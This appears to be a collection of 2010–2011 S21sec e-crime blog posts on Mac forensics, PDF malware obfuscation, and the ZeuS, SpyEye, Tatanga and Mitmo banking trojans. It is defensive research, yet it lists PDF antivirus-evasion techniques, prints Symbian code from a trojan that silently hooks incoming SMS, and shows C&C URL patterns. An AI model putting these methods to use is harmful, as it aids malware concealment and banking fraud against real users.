In summary, another conference to bear in mind and one that will surely improve in years to come, as the number of security professionals in Seattle is enormous. There are businesses such as Microsoft, Facebook and Google settled nearby. Without a doubt, I would recommend you attend this conference in the future, if you have the chance. The way we were treated and the organization were impecable!

Jose Miguel Esparza
S21sec e-crime

Live Forensics Mac OS X (I)

2011-06-24T11:16:00.000-07:00

When dealing with expert or forensic reports, the reports must be objective, testable and reproducible. This last requirement, although desirable, is not always possible, for example, in the case of medical forensics or in the IT world, when a first acquisition of volatile data is made. But, this needn’t be an issue if the process followed is correctly documented.

Even so, a forensic analyst will not always be able to make an "online" analysis before creating the binary image, maybe because the system is switched off, destroyed or simply because the case load does not allow for it at that particular moment. For this reason, once the corresponding copies have been taken, it is possible to start the system up in a virtual environment. Although not exactly reproducing the conditions before the acquisition, this could serve as an aid and complement “offline” analysis. It also could be reproducible afterwards.

This method is typically used for analysis of Windows and *nix systems, but is perhaps less widely used in the case of Apple desktop operating systems. For that reason, we will show the necessary steps to create and start up a Virtual machine, from a physical disk image of the system under analysis. We will firstly look at VirtualBox and continue in a second post with VMWare.

The whole process has been made on a Linux Ubuntu 10.04 distribution, but could be made from Windows in the same way or even on Mac OS X. In this case we would need the following:

Qemu
VirtualBox 3.2.6 or later.
A processor with virtualization technology

The first step is to convert the RAW image that was obtained from the physical machine beforehand, to a virtual disk compatible with VirtualBox. For that Qemu can be used in the following way:

 $sudo qemu-img convert –f raw imagen.dd –O vdi imagen.vdi

This could also be done via VirtualBox itself:

 $VBoxManage convertfromraw <filename> <outputfile>

Depending on the size of the disk, this could take from some minutes, up to various hours.

Next a new virtual machine is created and configured. This can be done from the command line in the following way:

 $VBoxManage createvm --name MacOSX --ostype MacOS_64 --register --basefolder /VirtualMachines
 $VBoxManage modifyvm MacOSX --memory 1024
 $VBoxManage modifyvm MacOSX --accelerate3d on --vram 32
 $VBoxManage storagectl MacOSX --add sata --controller IntelAHCI --name SATAController
 $VBoxManage storagectl MacOSX --add ide --controller PIIX4 --name IDEController
 $VBoxManage storagectl MacOSX  --name SATAController --hostiocache on
 $VBoxManage storagectl MacOSX --name IDEController --hostiocache on
 $VBoxManage modifyvm MacOSX --usb on --keyboard usb --mouse usb
 $VBoxManage storageattach MacOSX --storagectl SATAController --type hdd --port 0 --device 0 --medium /VirtualMachines/HDDs/imagen.vdi
 $VBoxManage modifyvm MacOSX --firmware efi64
 $VBoxManage setextradata MacOSX VBoxInternal2/EfiGopMode 4
 $VBoxManage setextradata MacOSX VBoxInternal2/SmcDeviceKey "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"

…and the machine is started up as follows:

 $VBoxManage startvm MacOSX

(*)Where MacOSX is the name given to the virtual machine and /VirtualMachines is the directory where it will be stored.

Of course, it is also possible to create a virtual machine in VirtualBox through the graphical interface assistant, selecting Mac OS X Server as the operating system and afterwards modifying the configuration in the following way:

System/Motherboard: Uncheck "Floppy Disk"
System/Acceleration: Disable "Nested Paging"
Display/Video: Set to more than 32 MB of memory and select “Enable 3D acceleration”
Storage/IDE Controller & SATA Controller: Select “Use host I/O cache”
USB: Enable the USB controller

After this setup, completely close the interface and any other related process and open the configuration file .vbox (before .xml) in /VirtualMachines/MacOSX with a text editor and add the following in the <ExtraData> section:

 <ExtraDataItem name="VBoxInternal2/EfiGopMode" value="4"/> 
 <ExtraDataItem name="VBoxInternal2/SmcDeviceKey" value="ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"/>

Finally, start the machine to be able to proceed with the “online” analysis and obtain data such as active processes, capture network traffic, etc..

Live Forensics Mac OS X (I)

Live Forensics Mac OS X (II)

Santiago Vicente
S21sec e-crime

Evolution, ramification and reflections on Zeus.

2011-06-22T02:58:00.000-07:00

After some years as the prevailing king of the banking Trojans, in recent months there has been lots of talk about the possibility of radical changes in ZeuS itself, and in this post I am going to try to give my opinion about the most important aspects of the subject.

A possible merger with SpyEye?

Firstly, there was talk of the possible release of the ZeuS source code to the creators of SpyEye, leading to talk of the disappearance of ZeuS and the evolution of SpyEye in its place. While it is true that SpyEye has evolved and certain characteristics pertaining to ZeuS have been seen in SpyEye versions (indeed, some servers seem to have 2 front ends for the same database), the reality is that both Trojans are still being used separately and that each one has evolved.

As may be expected, improvements will be implemented that are both easily achievable and the creator feels add value to the piece of malware. Now that the ZeuS source code has been made public, it is likely that we will see parts of ZeuS used in other malware samples, but ZeuS will remain as active as ever.

Ramifications of the publication of the source code?

As everyone knows, version 2.0.8.9 source code was made public, which led to fears of a proliferation of modified versions. It is a reasonable fear, but given that the underground world is so specialized, it is probable that the biggest users of ZeuS kits do not have the necessary technical knowledge to personalize the botnet as they would like.

There is no doubt that people with the capability for the task exist, but it is not straightforward and whoever does it should profit from its sale. There are few groups that have a solid knowledge base and the necessary resources of time and effort needed to take this step. For these reasons, I do not believe that by the end of the year there will be 100 new variants of ZeuS, although it would not surprise me to find 2 or 3, possibly more given that we have already seen some new versions recently.

ZeuS v2.1 and the challenges it poses.

As has been discussed in depth, versions 2.1 of Zeus (known as Licat and Murofet), contain characteristics that vary substantially from the usual ZeuS:

The generation of domain names based on the date (in case the configured, default domain name does not work).
Changes in the configuration file:
1. Identification codes of new sections can be found.
2. The URL for the binary update, configuration and C&C are not hardcoded, as they are generated with the algorithm mentioned above.
3. Some sections of the configuration file have extra encryption besides the XOR and RC4 layers usually found in the Zeus 2.0.x family.

Besides these versions, we have observed versions 2.1.x that do not share these characteristics and apparently belong to the natural evolution of ZeuS.

In the modified version, due to the use of a domain name algorithm, I dare say that it belongs to a personalized version of ZeuS, modified by a specific group and not an evolution of the, shall we say, core version.

Adding a date based domain name generation means centralizing the control panel and therefore selling it as a malware kit no longer makes sense. Of course, this could be removed from the generation of domain names, as besides the date, it can use a key to personalize the algorithm, but it seems that is not the case.

Without making a complete analysis of domain name generation, I would say that the campaign of personalizing versions belongs to the owners of the same campaigns from the end of last year (when, in fact, the ZeuS code was still not public). I base this on 3 details:

The same modus operandi, with a hardcoded domain name and the generation of domain names based on the current date, in case the initial domain does not respond.
A limitation to, supposedly, 1020 values based on the current minute.
Checks to see if the year is less than 2010 (and not 2011)

Mikel Gastesi

S21sec e-crime

Obfuscation and (non-)detection of malicious PDF files

2011-05-16T01:12:00.000-07:00

More than two months ago I talked at Rooted CON (Madrid) about some techniques to obfuscate and hide malicious PDF files. I gave the same speech at CARO 2011 (Prague) last Friday with updated slides and a demo of peepdf.

The idea is that it's possible to use some malformations in the documents, like those commented by Julia Wolf, and the PDF specification itself in order to keep the files hidden from Antivirus engines and parsers. Bad guys can effectively use it to create an undetectable exploit and use it as an attacking vector. Some of the techniques are the following:

Using the /Names and /AcroForm elements of the Catalog object to execute code when the document is opened, instead of the /OpenAction element.

If the malicious content is stored in a string object it's possible to hide it thanks to the octal codification.

However, if the content is stored in a stream object some unknown filters can be applied, like /JBIG2Decode or /DCTDecode, avoiding the most used, like /FlateDecode and /ASCIIHexDecode. Avast researchers found recently that this is something that cyberdelinquents are already using in the wild.

In the case of /FlateDecode and /LZWDecode filters it's possible to define some parameters in order to make the analysis more difficult.

Split up the malicious code in several parts and store them in different locations of the document. In the case of Javascript code it's possible to store them in the /Names element of the Catalog. Also some specific functions can be used to retrieve some elements of the document, like getAnnots, getPageNthWord, etc.

Avoid the endobj tag at the final of the objects to cheat the parsers.

Put null bytes in the header of the document.

Compressing the malicious objects in the so-called object streams to add an additional obfuscation level.

Encrypt the document with the “default password”.

Embed the malicious file in a legit one. It's possible to open the malicious file automatically when the legit document is opened.

In the demo I performed last Friday I modified a detected malicious PDF file (34/43) to decrease its detection rate, being detected only by one Antivirus engine after the modifications. The results of the tests performed in February were even worse, being totally undetectable. Although bad guys are not using all these techniques yet, they will do, therefore it's important to take them into account in the development process of analysis tools and Antivirus products.

The tool I've developed for the analysis of malicious PDF files, peepdf, was released last Friday too, and it supports most of the commented techniques, so it's a good option when a PDF file must be analysed. It's the first version of the tool, so all comments and potential bugs are welcomed! ;)

Jose Miguel Esparza
S21sec e-crime
(Blog / Twitter)

Tatanga: a new banking trojan with MitB functions

2011-02-25T04:57:00.000-08:00

Recently our e-crime unit has detected a new banking trojan, named as Tatanga, with Man in the Browser (MitB) functions affecting banks in Spain, United Kingdom, Germany and Portugal. Like SpyEye, it can perform automatic transactions, retrieving the mules from a server and spoofing the real balance and banking operations of the users. Its detection rate is very low, and the few antivirus engines that can detect it yield a generic result.

The trojan in question is rather sophisticated. It is written in C++ and uses rootkit techniques to conceal its presence, though on occasion, its files are visible. The trojan downloads a number of encrypted modules (DLLs), which are decrypted in memory when injected to the browser or other processes to avoid detection by antivirus software. The modules are the following:

ModEmailGrabber: It gathers e-mail addresses.
Coredb: It manages the trojan's configuration. The corresponding file is encrypted with the algorithm 3DES.
Comm Support Library: This module implements the encryption of the communication between the trojan and the control panel.
File Patcher: The function of this module is not clear yet. It is suspected that it is in charge of the propagation across folders containing multimedia, zipped or executable files.
ModMalwareRemover: Used in the removal of other malware families, including Zeus.
ModBlockAVTraffic: It blocks the antivirus application installed in the system.
ModDynamicInjection: Related to HTML injections

The modules names ModEmailGrabber and ModMalwareRemover might have been used in a bot in 2008, so maybe this is the result of the evolution of that malware.

Like other trojans of this kind, it uses an encrypted configuration file. This file is in XML format and has a element for each affected country. The code for each country is encoded and has the following format:

^^monitorized_url1~~monitorized_url2||code_replaced_in_legit_webpage||code_to_replace_for

Depending on the targeted bank, the trojan can passively grab the credentials or ask for more in order to make the fraudulent transaction in the user session. In some cases the requested credentials include the OTP mobile key and they success thanks to a good social engineering in their injections:

Seven compromised web sites are hardcoded and act as proxys to the real control panel. Their functions range from data sending to notifying infections and obtaining money mules' accounts. The format of the URLs are the following:

http://hacked_site.com/com/m.php?f=module.dll
http://hacked_site.com/com/c.php
http://hacked_site.com/com/d.php
http://control_panel/srvpnl/upload/module.dll

This malware affects nine browsers, covering almost all Windows users:

Internet Explorer
Mozilla Firefox
Google Chrome
Opera
Minefield
Maxthon
Netscape
Safari
Konqueror

Some additional functionalities of the trojan:

64-bit support: it injects into explore.exe in 32-bit systems and it's executed as a normal process in 64-bit systems.
Anti-VM and anti-debugging techniques
Dump online banking pages and send them to the server, probably in order to improve the injected code
Weak encryption algorithm in the communication with the C&C based on XOR operations.
Commands accepted from the C&C: modinfo, softstat, cmd, stopos, startos, reboot, winkill, die, instsoft, proclist, clearcookies, setlevel, kill
Functions to prevent Trusteer Rapport from being downloaded

We have seen lots of comments and test functions, so maybe this is just a test to improve its functions before spreading it. Stay tuned!

Jozsef Gegeny & Jose Miguel Esparza
S21sec e-crime

S21sec in RSA

2011-02-14T08:50:00.000-08:00

RSA Conference has begun today and S21sec will be there to tell you the latest news in information security.

See you in San Francisco!

S21sec Marketing

PDF Security links, 2010: Analysis and Tools

2011-02-02T08:42:00.000-08:00

After a year of incidents related to the Portable Document Format (PDF) it is good to look back and remember some of the most important ones. Listed below are some links to malicious and / or obfuscated PDF document analysis, and some tools that have made their appearance in 2010. I hope you enjoy them!

Analysis

2010-01-04: Sophisticated, targeted malicious PDF documents exploiting CVE-2009-4324 (embedded binaries)

2010-01-07: Static analysis of malicous PDFs (Part #2) (getAnnots, arguments.callee)

2010-01-09: PDF Obfuscation (variables substitution, LuckySploit, CVE 2008-2992)

2010-01-13: Generic PDF exploit hider. embedPDF.py and goodbye AV detection

2010-01-14: PDF Obfuscation using getAnnots() (getAnnots, arguments.callee, Neosploit)

2010-02-15: Filling Adobe's heap (Javascript, ActionScript and PDF images)

2010-02-18: Malicious PDF trick: getPageNthWord

2010-02-21: Analyzing PDF exploits with Pyew

2010-03-01: Analyzing PDF Files (getPageNthWord, getPageNumWords)

2010-04-08: JavaScript obfuscation in PDF: Sky is the limit (getAnnots,arguments.callee)

2010-04-09: Malicious PDF file analysis: zynamics style (PDF Dissector video)

2010-04-22: Will there be new viruses exploiting /Launch vulnerability in PDF?

2010-05-18: Quickpost: More Malformed PDFs

2010-06-08: Analysis of a Zero-day Exploit for Adobe Flash and Reader (CVE-2010-1297)

2010-06-09: A brief analysis of a malicious PDF file which exploits this week’s Flash 0-day (malware, ROP)

2010-06-21: World's Smallest PDF

2010-07-02: Exploring recent PDF exploits: A Time Killer (getPageNthWord,CVE-2008-2992,CVE-2007-5659,CVE-2009-0927,CVE-2009-4324)

2010-07-13: ReCon slides – How to really obfuscate your PDF malware

2010-07-20: PDF time bomb (CVE-2008-2992,CVE-2007-5659,CVE-2009-0927)

2010-08-04: PDF Exploit: Number of pages is the Key (XOR, numPages,CVE-2007-5659,CVE-2009-0927,CVE-2009-4324)

2010-08-04: About the JailbreakMe PDF exploit

2010-08-12: More about the JailbreakMe PDF exploit (CVE-2010-1797)

2010-08-19: Anatomy of a PDF Exploit (AcroForm, TIFF, CVE-2010-0188)

2010-08-20: Analyzing CVE-2010-0188 exploits: The Legend of Pat Casey (Part 1)

2010-08-23: CVE-2010-1797 PDF exploit for Foxit Reader <= 4.0

2010-09-01: An approach to PDF shielding (encryption, object streams, nested PDF documents)

2010-09-13: Malicious PDF Challenges (getPageNumWords, getPageNthWord)

2010-09-17: The Rise of PDF Malware (whitepaper)

2010-09-26: Free Malicious PDF Analysis E-book

2010-10-02: Hiding PDF Exploits by embedding PDF files in streams and Flash ROP heapsprays (CVE-2010-2883)

2010-10-27: OMG WTF PDF - Julia Wolf (obfuscation, slides)

2010-10-28: CVE-2010-3654 Adobe Flash player zero day vulnerability

2010-10-28: New Adobe 0day (bug in flash player),CVE-2010-3654

2010-11-11: CVE-2010-4091 – printSeps - exploitation attempts

2010-12-03: CVE-2010-2883 with Flash JIT Spray (PDF in PDF) Event Invitation from The Heritage Foundation from spoofed Heritage address

2010-12-08: Scoring PDFs Based on Malicious Filter

2010-12-08: Released Malware Statistics and Scoring Tests

2010: Gran cantidad de análisis del blog Contagiodump

Tools

2010-05-31: PDF Dissector

2010-07-21: PDF Stream Dumper

2010-08-23: Opaf

2010-08-31: PDF Examiner (web interface)

Jose Miguel Esparza
S21sec e-crime

Legitimate code on websites and false positives

2011-01-14T03:24:00.001-08:00

An exploit pack, better known as exploit kit, is a type of software developed with malicious purposes. It contains several known exploits targeting different applications and may contain as well zero days. The latter are specially appreciated, and make the exploit kit be very valuable and profitable in the underground market. It's main aim is to infect victim machines in order to turn them into zombie computers -which operate as part of a botnet- or other malicious purposes. There is a high demand in the underground market for this kind of software which require almost not technical knowledge to be launched. Configuring it is not more difficult than a wordpress installation, and it can be managed through his web interface.

Example of an exploit kit panel showing infection stats by browser

Source: http://malwareview.com/index.php?topic=8.0

However, just buying an exploit kit in the underground market and installing it is not enough to infect victims. One of the keys tasks to do is attracting traffic to the site hosting the exploit kit. This can be achieved with black hat SEO techniques, or directly injecting iframes and scripts tags in legitimante websites than have been compromised, pointing this way to the exploit kit web site by the technique known as drive-by download. Subsequently, the chances of a legitimate site being penalized by malware monitoring systems in browsers will be very high. But, what 's the purpose of all this information?

One of the features most commonly observed in the html code of this infected websites is the injection of iframe or script tags after the html close tag.

Source: http://blog.urlvoid.com/website-infected-with-malicious-scripts/

The standar for the script element says:

"The SCRIPT element places a script within a document. This element may appear any number of times in the HEAD or BODY of an HTML document."

Finding a script or iframe element after the close html tag raises the alarm, and many URLs analysis engines will give high importance to this situation, leading even to false positives for legitimate websites. It has been proved that some well known sites keep this bad habit due to their own ignorance or because of third party widgets.

As long as you can, avoid this bad practice if you don't want to have an unpleasant surprise.

Emilio Casbas
S21sec e-crime

S21sec in Payments Council e-Crime Seminar 2010

2010-11-15T03:33:00.000-08:00

S21sec has been asked to speak at the UK Payments Council e-crime Seminar 2010. The event is invite only and aimed firmly at the UK financial sector.

S21sec will be speaking about our recent discovery of the Zeus platform extending its reach to mobile platforms in a blended attack that we have named MITMO (Man-In-The-Mobile).

The speech is called: “ZeuS- Mitmo: is mobile infection the next step for committing fraud?”
We hope to see you there!

You can find all the information following this link.

SpyEye latest features include Man-in-the-Browser

2010-10-23T04:37:00.000-07:00

Less than a month ago, S21sec e-crime detected a new threat that defeats the second authentication vector based on SMS. Today, we're back to announce a new technique which, although is already known, is affecting some organizations during the last weeks: Man in the Browser.

Briefly, this new technique (MitB), is implemented by a trojan that infects and controls a web browser, having the ability to modify pages, transaction information, etc. using the same online banking session as the legitimate user and stealthy performing all its actions to both the user and the bank online application.

In this incident, the trojan is not the well-known ZeuS/Zbot, but his "competitor" known as SpyEye. By the end of 2009, a new banking Trojan called SpyEye made its appearance on the underground world. It is written in C++ and the supported systems range from Windows 2000 to Windows 7. It works in ring3 (user-mode), as its competitor ZeuS does, although this is not the only similarity between both Trojans.

SpyEye is sold in several forums as it is said to be undetectable by most anti-virus software; it also hides several files as well as registry keys. SpyEye implements many of the ZeuS’ features, though it is still in development. The distribution package of this Trojan is similar to Zbot/ZeuS and other fraud kits usually distributed in forums of Eastern Europe and Russia.

The main features of previous SpyEye's versions are the following:

Form Grabbing: It captures the data filled by the user in the fields of the forms submitted by the browser.

Code injection: This technique involves the injection of HTML code in the victim's browser to get additional information the organization wouldn't ask for. In the configuration files analyzed, the requested information is usually the full security code.

Stealing FTP and POP3 credentials: Includes network traffic monitoring, hooking into the API functions of filtering and credentials storage, mainly to monitor the traffic and looking for "USER" and "PASS" values.

Basic http authentication Theft: A similar approach to the FTP and POP3 credentials theft.

In the version discussed in this incident, it also includes the following features:

Screenshots: in the configuration file you can set up the URLs that will trigger a screenshot capture, configuring a specific screen zone with its dimensions. An example is:

https://onlineaccess.mybank.com/authenticate* 500 200 10 60

Ability to do Man in The Browser (MitB).

We have noticed an increase in the number of SpyEye samples in the wild since the past September, which led us to think that this trojan campaign started on this month:

The first fraud incidents were detected around the middle of October, with at least two different trojan samples. It is important to say that we have only seen this technique affecting to one of the affected organizations. Although this attack is completely functional, our feelings are that it's still in its testing phase.

We are still working on the analysis of the binary, but the behaviour observed is the same one we detected in the binary discovered last February. Nevertheless, some improvements have been noticed in relation to his config file encryption algorithm. The samples detection is 62% and 20% respectively.

The main and most worrying feature is the HTML injection. In this incident, the injection is entirely done with javascript code, allowing the binary to do the MITB feature:

The trojan gets the data from the accounts and sends them to the C&C server

If the account balance exceeds a certain amount of money, it returns the data account in which must perform the fraudulent transfer (mule), using the following format:

[
"trans" = 1,
"info"  = [
 "check" = [
            0 = XXXX,
            1 = XXXX,
            2 = XX,
            3 = XXXXXXXXXX
           ],
 "sum"     = 493,
 "name"    = "Peter",
 "address" = "12 street, nº1 1ºA",
 "city"    = "NY",
 "comment" = "Transfer"
]
]

The trojan fills in the form with these details and stays in waiting mode.

Several details are requested from the user, for instance the signature key.

With the data fetched, it sends the transfer form to the bank.

It modifies the account balance in order to hide the fraud.

As you can see, by intercepting the legitimate user's session, the fraud is commited in a much more difficult way to be detected by the organization

In the tests analyzed, it seems that three differents accounts are used to perform the fraudulent transfer. In this incident, all of them belong to spanish organizations.

S21sec e-crime will keep you updated as soon as we have additional information of this new technique.

Santiago Vicente
S21sec e-crime

ZeuS Mitmo: Man-in-the-mobile (III)

2010-09-25T15:07:00.000-07:00

The application that the user installs in his mobile device is a simple application that will monitor all the incoming SMS and will install a backdoor to receive commands via SMS. We have analyzed the Symbian S60 application, which has the name 'Nokia update'

The application has an UK phone number hardcoded that will use as an usual C&C (to send the stolen SMS and to receive the commands), and after installation, it will perform the following steps:

Send a 'hello' SMS with the message 'App installed ok' to the C&C
Monitor all the incoming SMSs

If the incoming SMS' phone number is equal to the C&C number, there are some commands that will be accepted:

BLOCK ON: ignore all the commands
BLOCK OFF: enable the remote commands
SET ADMIN: change the C&C phone number (this is the only command that can be sent from a non-C&C)
SENDER ADD: add a contact
SENDER REM: delete a contact
SET SENDER: update contact

The technique that the malicious application uses for monitoring the incoming SMS without notifying the user is not something advanced (it is using the Symbian API), but allows the trojan to use the SMS stack for its own profit without showing any SMS in the mobile screen:

// open a SMS socket
m_socket.Open(m_socketServer, KSMSAddrFamily, KSockDatagram, KSMSDatagramProtocol)

// receive any incoming SMS (the match is empty)
TSmsAddr smsAddr;
smsAddr.SetSmsAddrFamily(ESmsAddrMatchText);
smsAddr.SetTextMatch(_L8(""));
m_socket.Bind(smsAddr);

Then we have 'hooked' the SMS stack so we are able to receive any incoming SMS and pass it through our handler (the RunL()):

// Stream that reads a CSmsMessage object across a socket.
RSmsSocketReadStream readStream(socket1);
// Allocates and creates a CSmsMessage
// ESmsDeliver-SMS-DELIVER, sent from service center to Station.
CSmsMessage message = CSmsMessage::NewL
TheFs1,CSmsPDU::ESmsDeliver,buffer);
CleanupStack::PushL(message);

//Internalises data from stream to CSmsMessage
message->InternalizeL(readStream);
readStream.Close();
//Extracting the received message to a buffer
TBuf<255> msgContents;
message->Buffer().Extract(msgContents, 0 , message->Buffer().Length());
CleanupStack::PopAndDestroy(2)
// Announce that we have read the SMS. Important!!
iReadSocket.Ioctl(KIoctlReadMessageSucceeded, iStatus, &sbuf, KSolSmsProv);
SetActive();

It is clear that this malware uses social engineering in different levels:

The infection method: sends a SMS with a link to a 'new security certificate'
The mobile application: the name is 'Nokia update', that won't be suspicious for the majority of users
The contacts/agenda manipulation: we can add, or change new contacts in the mobile device, making any calls or SMS more trustworthy

We are working with mobile carriers to help them to detect infected devices. Mobile carriers are the key actors in this incident, just because they are the only ones that can detect which devices are infected and block all the connections to/from the mobile C&C.

This attack also has a lot of similarities with an Internet incident, although there are some caveats:

We can detect the infected devices, but notifying those users and clean their devices is a hard and difficult task
We can block the access to/from the C&C, but another mobile C&C will come up (at least we won't see fast-flux!)
Credential recovery is much difficult if not impossible
The user can suspect that his device is infected by looking at his mobile expenses and detect strange SMS charges

Although we cannot state that it is a really advanced malicious application, it really works, and the thin line between PC and mobile malware is thinner than ever.

At the moment of this blog post, the AV detection rate is 0%.

Update (27/09/2010): our Fortinet colleagues have posted more information about the Symbian malware.

Update (28/09/2010): Vodafone has just confirmed us that the Symbian developer certificate has been revoked.

Serial Number: BF43000100230353FF79159EF3B3
       Revocation Date: Sep 28 08:26:26 2010 GMT

   Serial Number: 61F1000100235BC2794380405E52
       Revocation Date: Sep 28 08:26:26 2010 GMT

ZeuS Mitmo: Man-in-the-mobile (I)

ZeuS Mitmo: Man-in-the-mobile (II)

ZeuS Mitmo: Man-in-the-mobile (III)

David Barroso

S21sec e-crime

ZeuS Mitmo: Man-in-the-mobile (II)

2010-09-25T14:49:00.000-07:00

After explaining the scenario, we can share more details. Stealing the username or the password is relatively easy, and malware like ZeuS have been doing that for ages (injecting HTML or adding field using JavaScript work like a charm). But now, the trojan will also ask for new details: our mobile vendor, model, and phone number (the website will force you to fill in this information due to its new security measures).

Once the information has been filled in, an SMS will be sent to the mobile device with a link to download the new security certificate (which it's a malicious application).

It is important to emphasize that depending on your mobile vendor, the link will be pointing to a Symbian application (.sis) or a BlackBerry one (.jad). Why those vendors and for instance iPhone is not there? Any user can install any application in those vendors just by clicking 'ok' when asking for it in the device. iPhone only can install applications through the AppStore (unless they are jailbroken, but that's another story)

ZeuS Mitmo: Man-in-the-mobile (I)

ZeuS Mitmo: Man-in-the-mobile (II)

ZeuS Mitmo: Man-in-the-mobile (III)

David Barroso

S21sec e-crime